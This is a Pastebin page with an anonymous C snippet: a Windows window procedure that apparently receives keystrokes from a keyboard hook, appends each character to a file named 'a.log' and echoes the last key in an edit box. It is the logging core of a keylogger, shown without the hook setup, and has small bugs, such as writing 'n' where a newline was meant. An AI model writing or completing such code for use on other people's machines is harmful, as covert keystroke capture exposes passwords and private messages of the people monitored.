Advertisement
Guest User

Untitled

a guest
Nov 26th, 2016
158
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.87 KB | None | 0 0
  1. LRESULT CALLBACK LogWndProc(HWND hwnd, UINT Message, UINT wParam, LONG lParam)
  2. {
  3.     FILE *f = fopen("a.log", "a");
  4.  
  5.     switch (Message)
  6.     {
  7.     case WM_CREATE:
  8.         CreateWindow(TEXT("EDIT"),
  9.             NULL,
  10.             WS_CHILD | WS_VISIBLE,
  11.             0, 0, 100, 100,
  12.             hwnd,
  13.             (HMENU)3000,
  14.             GetModuleHandle(NULL),
  15.             0);
  16.         break;
  17.     case WM_CLOSE:
  18.         DestroyWindow(hwnd);
  19.         break;
  20.        
  21.     case WM_HOOKMESSAGE:
  22.         switch (wParam)
  23.         {
  24.  
  25.             case 0x08: fprintf(f,""); break;
  26.             case 0x1b: fprintf(f,""); break;
  27.             case 0x0d: fprintf(f,"n"); break;
  28.             default:
  29.                 {
  30.                     fprintf(f, "%c", wParam);
  31.                     TCHAR buf[255];
  32.                     RtlZeroMemory(buf, 255);
  33.                     wsprintf(buf, TEXT("%c"), wParam);
  34.                     SetDlgItemText(hwnd, 3000, buf);
  35.                 }
  36.         }
  37.         break;
  38.  
  39.     case WM_DESTROY:
  40.     case WM_ENDSESSION:
  41.         PostQuitMessage (0);
  42.         break;
  43.     }
  44.  
  45.     fclose(f);
  46.  
  47.     return DefWindowProc(hwnd,Message,wParam,lParam);
  48. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement